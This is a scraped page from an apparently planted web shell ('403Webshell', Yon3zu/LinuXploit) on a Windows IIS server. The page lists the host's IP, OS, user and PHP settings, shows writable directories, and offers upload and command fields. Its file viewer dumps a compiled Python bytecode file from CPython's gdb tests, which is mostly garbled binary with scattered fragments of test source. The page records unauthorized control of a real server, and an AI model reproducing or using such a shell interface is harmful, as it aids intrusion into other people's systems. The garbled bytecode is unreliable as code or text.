403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/test_gdb/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/test_gdb/__pycache__/test_misc.cpython-315.pyc
R
>lqjc���]PHs]PHs]QHGs]QHGsGsGsGsQs	Qs
\
2s\O\2Q2QQ\22s
QsQ	Q
\2sQQ\2sQ
Q\2sP!)�)�python_is_optimized)�run_gdb�setup_module�
DebuggerTests�
SAMPLE_SCRIPTc��[2P!�N)r���,C:\Python315\\Lib\test\test_gdb\test_misc.py�setUpModulers���Nr
c���[Q2vq[OQU2oU%f [OQU8QU8Q02gUO]2O
Q2oQU7!)z+--eval-command=python print(dir(gdb.Frame))z.*\[(.*)\].*z9Unable to parse output from gdb.Frame.select test
stdout=z
stderr=�
z, z'select')r�re�match�unittest�SkipTest�group�split)�stdout�stderr�m�
gdb_frame_dirs    r�gdb_has_frame_selectrsu���J�K�N�F�
����&�)�A�������Z� ��Z�r�
#�$�	$��G�G�A�J�$�$�T�*�M���&�&r
�&Python was compiled with optimizationsc�:`�\sQs]snQsQsQsQsQsUs	P!)�PyListTestsc�*�UOV!2P!r)�assertEndsWith)�self�expected�actuals&&&r�
assertListing�PyListTests.assertListings�����F�-r
c�\�UO[Q,Q5oUOQU2P!)z'Verify that the "py-list" command workszpy-list��script�cmds_after_breakpointz�   5    
   6    def bar(a, b, c):
   7        baz(a, b, c)
   8    
   9    def baz(*args):
 >10        id(42)
  11    
  12    foo(1, 2, 3)
��get_stack_tracerr"�r�bts& r�test_basic_command�PyListTests.test_basic_command!s9��
�
!�
!��9B��"�E��	
���4��	r
c�\�UO[Q,Q5oUOQU2P!)z7Verify the "py-list" command with one absolute argumentz	py-list 9r%zI   9    def baz(*args):
 >10        id(42)
  11    
  12    foo(1, 2, 3)
r(r*s& r�test_one_abs_arg�PyListTests.test_one_abs_arg0s9��
�
!�
!��9D�
�"�G��	
���4��		r
c�\�UO[Q,Q5oUOQU2P!)z8Verify the "py-list" command with two absolute argumentszpy-list 1,3r%zO   1    # Sample script for use by test_gdb
   2    
   3    def foo(a, b, c):
r(r*s& r�test_two_abs_args�PyListTests.test_two_abs_args;s9��
�
!�
!��9F��"�I��	
���9��	r
r	)
�__name__�
__module__�__qualname__�__firstlineno__r"r,r/r2�__static_attributes__�__classdictcell__��
__classdict__s@rrrs����.�
�	��r
rz�

from _testcapi import pyobject_vectorcall

def foo(a, b, c):
    bar(a, b, c)

def bar(a, b, c):
    pyobject_vectorcall(baz, (a, b, c), None)

def baz(*args):
    id(42)

foo(1, 2, 3)

c�V`�\sQs]Wsn\O
\Q2\O\2Q2Q22s	\O
\Q2Q2s
\O
\Q2Q2s\O
\Q2\O\2Q2Q22sQs
UsP!)�StackNavigationTests�$test requires py-up/py-down commandsrc�^�UO[QQ,Q5oUOUQ2P!)z%Verify that the "py-up" command works�py-up��sourcer'z�^.*
#[0-9]+ Frame 0x-?[0-9a-f]+, for file <string>, line 12, in baz \(args=\(1, 2, 3\)\)
#[0-9]+ <built-in method pyobject_vectorcall of module object at remote 0x[0-9a-f]+>
$�r)�SAMPLE_WITH_C_CALL�assertMultilineMatchesr*s& r�test_pyup_command�&StackNavigationTests.test_pyup_commandXs:��
�
!�
!�);�9@�'�8J�"�L���#�#�B�%�	r
c�\�UO[Q,Q5oUOUQ2P!)z7Verify handling of "py-down" at the bottom of the stack�py-downr%z$Unable to find a newer python frame
�r)rrr*s& r�test_down_at_bottom�(StackNavigationTests.test_down_at_bottomes5���
!�
!��9B��"�E�����B�C�	Er
c�j�UO[Q,]*Q5oUOUQ2P!)z2Verify handling of "py-up" at the top of the stackr@r%z%Unable to find an older python frame
rJr*s& r�test_up_at_top�#StackNavigationTests.test_up_at_topms9���
!�
!��9@�	�A�
�"�G�����B�D�	Fr
c�^�UO[,QNQ5oUOUQ2P!)z$Verify "py-up" followed by "py-down"rAa^.*
#[0-9]+ Frame 0x-?[0-9a-f]+, for file <string>, line 12, in baz \(args=\(1, 2, 3\)\)
#[0-9]+ <built-in method pyobject_vectorcall of module object at remote 0x[0-9a-f]+>
#[0-9]+ Frame 0x-?[0-9a-f]+, for file <string>, line 12, in baz \(args=\(1, 2, 3\)\)
$)r@r@rIrCr*s& r�test_up_then_down�&StackNavigationTests.test_up_then_downus5��
�
!�
!�);�8U�"�W���#�#�B�%�	r
r	)r4r5r6r7r�
skipUnless�HAS_PYUP_PYDOWN�skipIfrrFrKrNrQr8r9r:s@rr=r=Ws�����
����*P�Q�
�_�_�(�*�=�?��?�R������*P�Q�E�R�E�����*P�Q�F�R�F�����*P�Q�
�_�_�(�*�=�?�	�?�R�	r
r=c�>`�\sQs]�sn\O
\2Q2Q2s\O
\2Q2\O\	Q2Q22s
\O
\2Q2Q2s\O
\2Q2Q2sQs
UsP!)�PyPrintTestsrc�^�UO[QQ,Q5oUOUQ2P!)z(Verify that the "py-print" command worksr@z
py-print argsrAz".*\nlocal 'args' = \(1, 2, 3\)\n.*rCr*s& rr,�PyPrintTests.test_basic_command�s9���
!�
!�);�9@�/�8R�"�T���#�#�B�$I�	Kr
r>c�^�UO[,QNQ5oUOUQ2P!)r@rAz3.*\nlocal 'c' = 3\nlocal 'b' = 2\nlocal 'a' = 1\n.*)r@r@z
py-print cz
py-print bz
py-print arCr*s& r�test_print_after_up� PyPrintTests.test_print_after_up�s4���
!�
!�);�8t�"�v���#�#�B�$Z�	\r
c�^�UO[QQ,Q5oUOUQ2P!)r@zpy-print __name__r%z&.*\nglobal '__name__' = '__main__'\n.*�r)rrEr*s& r�test_printing_global�!PyPrintTests.test_printing_global�s9���
!�
!��9@�BU�8V�"�X���#�#�B�$M�	Or
c�^�UO[QQ,Q5oUOUQ2P!)r@zpy-print lenr%zV.*\nbuiltin 'len' = <built-in method len of module object at remote 0x-?[0-9a-f]+>\n.*r^r*s& r�test_printing_builtin�"PyPrintTests.test_printing_builtin�s8���
!�
!��9@�.�8Q�"�S���#�#�B�$}�	r
r	)r4r5r6r7rrUrr,rSrTr[r_rbr8r9r:s@rrWrW�s�����
�_�_�(�*�=�?�K�?�K��_�_�(�*�=�?�
����*P�Q�\�R�?�\��_�_�(�*�=�?�O�?�O��_�_�(�*�=�?��?�r
rWc��`�\sQs]�sn\O
\2Q2Q2s\O\	Q2\O
\2Q2Q22s
QsUsP!)�
PyLocalsTestsrc�^�UO[QQ,Q5oUOUQ2P!)r@�	py-localsr%z.*\nargs = \(1, 2, 3\)\n.*r^r*s& rr,� PyLocalsTests.test_basic_command�s8���
!�
!��9@�+�8N�"�P���#�#�B�$A�	Cr
r>c�^�UO[,QNQ5oUOUQ2P!)r@r%z<^.*
Locals for foo
a = 1
b = 2
c = 3
Locals for <module>
.*$)r@r@rgr^r*s& r�test_locals_after_up�"PyLocalsTests.test_locals_after_up�s4���
!�
!��8W�"�Y���#�#�B�%�	r
r	)
r4r5r6r7rrUrr,rSrTrjr8r9r:s@rrere�sh����
�_�_�(�*�=�?�C�?�C�����*P�Q�
�_�_�(�*�=�?�
�?�R�
r
re)rr�test.supportr�utilrrrrrrrTrUrrDr=rWrer	r
r�<module>rns���	��,�E�E��
'�'�(��
���$�&�9�;�&�-�&�;�&�P��$*�=�*�X!�=�!�F�M�r

Youez - 2016 - github.com/yon3zu
LinuXploit